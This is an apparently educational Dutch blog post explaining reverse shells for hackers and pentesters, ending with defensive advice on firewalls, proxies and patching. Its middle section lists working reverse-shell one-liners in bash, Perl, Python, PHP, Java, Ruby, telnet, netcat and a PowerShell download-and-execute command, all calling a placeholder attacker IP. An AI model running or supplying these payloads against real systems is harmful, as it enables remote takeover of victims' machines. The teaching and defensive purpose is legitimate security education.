Reverse Shell
Een “Reverse Shell” is natuurlijk die schildpad in de videogame Mario. Wanneer je zijn schild gooit, hij een hard object raakt en terug bounced richting de speler? Uhhh ja… dat zou je ook kunnen zien als een “reverse shell”. Maar in dit geval hebben we het uiteraard over een stukje hacker terminologie. In deze korte post wil ik jullie graag vertellen wat een reverse shell is, waarom een reverse shell zo ontzettend belangrijk is voor hackers en pentesters en ik zal een aantal voorbeelden geven over het opzetten van een reverse shell.
Misschien kun je al een beetje raden wat een “Reverse Shell” is. Het is een shell (lees, een terminal) die terugkomt. We noemen een reverse shell ook wel een “connect-back shell”. In de praktijk betekend dit dat computer A (slachtoffer) via een “remote command execution vulnerability” welke handmatig, via malware, phishing of andere methode is geactiveerd verbinding maakt met computer B (hacker) en dat computer A de toegang tot zijn “shell” meestuurt. Dit betekend dat computer B beschikking krijgt over de shell van computer A. Afhankelijk van de rechten kan de aanvaller diverse interactieve commando’s uitvoeren op deze computer. In de meeste gevallen betekend het dat de aanvaller de computer volledig kan besturen of verhoogde rechten kan verkrijgen (privilege escalation) en vervolgens de computer kan besturen via de interactieve shell. In dit voorbeeld maakt de doelmachine verbinding met de client. Dit is dus exact andersom dan normaal wanneer een gebruiker connectie maakt met een doelmachine (server). Omdat dit precies andersom is noemen we het een “Reverse Shell”.
Een reverse shell is gevaarlijk omdat dit een uitgaande verbinding is. Firewalls zijn vaak goed geconfigureerd voor het blokkeren van inkomende verbindingen. Een webserver staat b.v. alleen verbindingen toe op poort 80 en 443. Een firewall blokkeert vaak niet de uitgaande verbindingen. Dus als een aanvaller (hacker / pentester) erin slaagt dat de server de verbinding maakt met jou machine is de kans veel groter dat dit verkeer wel wordt doorgelaten. De initiërende verbinding is dan uitgaand.
En dit is exact hoe een reverse shell functioneert. De aanvaller zet een machine op met een zogenaamde listener. Deze machine kan intern staan maar zal meestal niet in hetzelfde netwerk aanwezig zijn en moet dus luisteren op een extern IP adres. Deze listener “luistert” continue op een gespecificeerde poort en wanneer er verbinding met deze poort wordt gemaakt accepteert de “listener” dit. Vervolgens moet de aanvaller ervoor zorgen dat er op de gecompromitteerde machine een connectie tot stand gebracht wordt met deze listener. Dit gebeurt via een remote command execution vulnerability. Als de verbinding er is (geïnitieerd door de gecompromitteerde machine en dus een uitgaande verbinding) dan kan er over deze verbinding een remote shell tot stand worden gebracht. De aanvaller kan dan “terminal” commando’s sturen welke de gecompromitteerde machine uit zal voeren. De aanvaller kan hiermee de machine besturen, privilege escalation uitvoeren, de machine monitoren, patchen, persistent access maken en data vergaren. Kortom, full control en missie geslaagd.
Reverse Shell Commando’s
Opzetten Listener:
Het makkelijkste werk is het opzetten van de zogenaamde “listener” op de machine van de aanvaller. In de meeste gevallen wordt hier NetCat voor gebruikt. Met de “-l” flag zet je de listener op en met de “-p” flag definieer je de poort waarop de listener luisterd:
ncat -l -p 1234 |
Nadat bovenstaande scenario is uitgevoerd draait de listener op poort 1234. Stel dat de aanvaller op extern IP “10.20.30.40”werkt en zijn firewall (als achter een NAT) poort 1234 laat door-natten naar de machine met deze listener dan moeten onderstaande “remote command execution vulnerabilities” worden uitgevoerd om de verbinding en eveneens reverse shell tot stand te brengen.
Opzetten Reverse Shell:
Een reverse shell kan op verschillende manieren en in allerhande talen worden opgezet. Hieronder een aantal voorbeelden om te verbinden met bovenstaande listener.
Als een machine op Linux draait is de meest voorkomende methode via Bash. Dit ziet er dan als volgt uit:
/bin/bash -i >& /dev/tcp/10.20.30.40/1234 0>&1 |
Net als Bash is ook Perl op de meeste Linux machines aanwezig. Bovenstaande voorbeeld in Perl ziet er als volgt uit:
perl -e 'use Socket;$i="10.20.30.40";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect (S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Python wordt steeds populairder en komt steeds vaker voor op Linux en Windows machines. Een Python voorbeeld ziet er als volgt uit:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect (("10.20.30.40",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
Voor webservers is het vaak succesvol om PHP te gebruiken om een reverse shell op te zetten:
php -r '$sock=fsockopen("10.20.30.40",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
En voor applicatieservers is Java een goede optie:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.20.30.40/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() |
Als Java niet lukt dan kan Ruby nog weleens succesvol zijn op een applicatieserver:
ruby -rsocket -e'f=TCPSocket.open("10.20.30.40",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
Een ander Ruby voorbeeld:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.20.30.40","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'; |
Telnet is ook een prachtige tool die op veel servers voorkomt. Om met Telnet een reverse shell te maken voer je het volgende uit:
telnet 10.20.30.40 1234 | /bin/bash | telnet ATTACKING-IP 443 |
Mocht NetCat geïnstalleerd kunnen worden of in een zeldzaam geval beschikbaar zijn dan kan een reverse shell ook met NetCat gemaakt worden:
nc -e /bin/sh 10.20.30.40 1234 |
Of als je de verkeerde versie van NetCat geïnstalleerd hebt:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.20.30.40 1234 >/tmp/f |
Zoals je ziet zijn er geen oneliners voor Windows CLI’s zoals Powershell. Het verkrijgen van een reverse shell op een Windows machine (en andere OS systemen) gebeurt vaak met tools als Metasploit en MSFVenom. Voor Powershell zou je b.v. Powercat kunnen gebruiken. Powercat is een “PowerShell native backdoor listener” en een afgeleide van NetCat. Powercat heeft geïntegreerde ondersteuning voor het genereren van gecodeerde payloads (via msfvenom) en heeft ook een client-to-client relay. Een client-to-client relay is een Powercat term waarmee twee afzonderlijke luisteraars met elkaar kunnen worden verbonden. Om Powercat te gebruiken moet deze eerst gedownload worden op de machine van de aanvaller:
git clone https://github.com/besimorhino/powercat.git |
Vervolgens starten we een Powercat listener (via Python):
python -m SimpleHTTPServer 1234 |
Op de target machine downloaden we het Powercat script en starten we de listener:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.20.30.40/powercat.ps1');powercat -c 10.20.30.40 -p 1234 -e cmd" |
Nog meer reverse shell voorbeelden zijn te vinden op de GitHub pagina van SwisskyRepro. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Conclusie
Laten we niet vergeten dat een reverse shell in sommige situaties helemaal legitiem gebruikt worden door systeembeheerders om remote maintenance op afstand uit te voeren op hosts die achter een NAT staan en niet extern verbonden zijn.
Echter is een reverse shell in de meeste situaties malicieus en moet voorkomen worden. Het voorkomen van een reverse shell is lastig. Een goede firewall functie op de host en/of extern kan helpen. Beperk de poorten die naar buiten mogen en als er verbindingen naar buiten opgezet moeten worden beperkt deze dan indien mogelijk tot een gedefinieerde set van IP adressen. Ook zou een proxyserver gebruikt kunnen worden die is ingesteld met streng gecontroleerde bestemmingsbeperkingen. Omdat reverse shells zelfs via DNS tot stand kunnen worden gebracht, kunnen bovenstaande scenario’s het risico op een reverse shell slechts beperken. Om de mogelijkheid tot een reverse shell nog wat moeilijker te maken kun je alle onnodige software verwijderen. Dit is meestal geen praktische optie maar hoe minder software, hoe kleiner de kans op een mogelijke remote command execution vulnerability.
Er is maar 1 gouden tip als het aankomt op het voorkomen van reverse shells en dat is patchen, patchen, patchen! Op het moment dat code-injectie niet meer mogelijk is dan is privilege escalation ook niet aan de orde en zal een reverse shell nooit opgestart kunnen worden. Een hacker met fysieke toegang (b.v. met een Rubber Ducky) zal echter altijd een socket kunnen openen en een reverse shell kunnen starten. Lock dus je computer als je even van je plek af bent … en pas ook alle andere adviezen toe die bij vrijwel elk bedrijf in de “10 gouden privacy tips” staan.
Reverse Shells zijn krachtig en zeer gevaarlijk. Het kunnen starten van een reverse shell is echter voor iedere aanvaller een prachtig “eureka” moment. Wanneer de shell werkt is het slachtoffer of de klant compromised met alle gevolgen van dien!
Vond je deze post over “reverse shells” interessant en leuk om te lezen, laat het me dan even weten met een berichtje. Of beter nog, share deze post op je eigen website of social media en like, like, like! Why you ask? Because I like that. And when I like it… i’ll write even more 🙂